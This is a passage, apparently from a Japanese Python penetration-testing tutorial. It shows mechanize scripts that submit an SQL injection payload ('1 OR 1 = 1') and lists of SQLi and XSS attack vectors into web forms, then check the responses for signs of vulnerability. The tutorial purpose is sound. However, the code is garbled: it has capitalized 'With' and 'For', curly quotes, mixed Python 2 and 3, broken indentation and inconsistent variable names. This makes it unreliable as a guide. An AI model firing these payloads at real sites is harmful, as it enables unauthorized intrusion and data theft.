request = mechanize.Browser()
request.open(url)

次に、フォームを選択する必要があります。

request.select_form(nr = 0)

ここでは、列名「id」を設定します。

request["id"] = "1 OR 1 = 1"

次に、フォームを送信する必要があります。

response = request.submit()
content = response.read()
print content

上記のスクリプトは、POST要求に対する応答を出力します。 SQLクエリを中断し、1行ではなくテーブル内のすべてのデータを印刷する攻撃ベクトルを提出しました。 すべての攻撃ベクトルは、vectors.txtなどのテキストファイルに保存されます。 これで、以下に示すPythonスクリプトは、これらの攻撃ベクトルをファイルから取得し、サーバーに1つずつ送信します。 また、出力をファイルに保存します。

まず、mechanizeモジュールをインポートしましょう。

import mechanize

次に、フォームの送信後に応答を取得するためのURLの名前を指定します。

url = input("Enter the full url")
   attack_no = 1

ファイルから攻撃ベクトルを読み取る必要があります。

With open (‘vectors.txt’) as v:

ここで、各アラックベクトルとともにリクエストを送信します

For line in v:
   browser.open(url)
   browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

これで、次のコード行により、応答が出力ファイルに書き込まれます。

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

応答を確認して分析することにより、攻撃の可能性を特定できます。 たとえば、* SQL構文にエラーがあります*という文を含む応答を提供する場合、フォームがSQLインジェクションの影響を受ける可能性があることを意味します。

Python侵入テスト-XSS Web攻撃

クロスサイトスクリプティング攻撃は、クライアント側のコードインジェクション攻撃も指すインジェクションの一種です。 ここでは、悪意のあるコードが正当なWebサイトに挿入されます。 Same Origin Policy(SOP)の概念は、クロスサイトスクリプティングの概念を理解するのに非常に役立ちます。 SOPは、すべてのWebブラウザで最も重要なセキュリティプリンシパルです。 Webサイトが別の起源を持つページからコンテンツを取得することを禁止します。 たとえば、Webページhttps://www.finddevguides.com/index[www.finddevguides.com/indexl]は、 www.finddevguides.com/contactl のコンテンツにアクセスできますが、http://www.virus.com/indexl[www.virus.com/indexl]は www.finddevguides.com/contactl のコンテンツにアクセスできません。 このように、クロスサイトスクリプティングはSOPセキュリティポリシーをバイパスする方法であると言えます。

XSS攻撃の種類

このセクションでは、さまざまなタイプのXSS攻撃について学びましょう。 攻撃は、次の主要なカテゴリに分類することができます-

  • 永続的または保存されたXSS
  • 非永続または反射XSS

永続的または保存されたXSS

この種のXSS攻撃では、攻撃者がペイロードと呼ばれるスクリプトを挿入します。このスクリプトは、データベースなどのターゲットWebアプリケーションに永続的に保存されます。 これが理由であり、永続的なXSS攻撃と呼ばれます。 実際、これは最も有害なタイプのXSS攻撃です。 たとえば、悪意のあるコードが攻撃者によってブログのコメントフィールドやフォーラムの投稿に挿入されます。

非永続または反射XSS

これは最も一般的なタイプのXSS攻撃であり、攻撃者のペイロードはリクエストの一部である必要があります。リクエストはWebサーバーに送信され、HTTPレスポンスにHTTPリクエストからのペイロードが含まれるように反映されます。 攻撃者は各被害者にペイロードを配信する必要があるため、非永続的な攻撃です。 このような種類のXSS攻撃の最も一般的な例は、攻撃者が被害者を引き付けてXSSペイロードを含むサーバーにリクエストを送信し、最終的にブラウザー内で反映および実行されるスクリプトを実行するフィッシングメールです。 。

SQLiと同様に、XSS Web攻撃は、アプリケーションへの入力データを操作することで実装できます。 次の例では、前のセクションで行ったSQLi攻撃ベクトルを変更して、XSS Web攻撃をテストします。 以下に示すPythonスクリプトは、 mechanize を使用してXSS攻撃を分析するのに役立ちます-

まず、 mechanize モジュールをインポートしましょう。

import mechanize

次に、フォームの送信後に応答を取得するためのURLの名前を指定します。

url = input("Enter the full url")
   attack_no = 1

ファイルから攻撃ベクトルを読み取る必要があります。

With open (‘vectors_XSS.txt’) as x:

今、私たちは各arrackベクトルでリクエストを送信します-

For line in x:
   browser.open(url)
browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

次のコード行は、印刷された攻撃ベクトルを確認します。

if content.find(line) > 0:
print(“Possible XSS”)

次のコード行は、応答を出力ファイルに書き込みます。

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

XSSは、ユーザー入力が検証なしで応答に出力されると発生します。 したがって、XSS攻撃の可能性を確認するために、提供した攻撃ベクトルの応答テキストを確認できます。 エスケープまたは検証なしで攻撃ベクトルが応答に存在する場合、XSS攻撃の可能性が高くなります。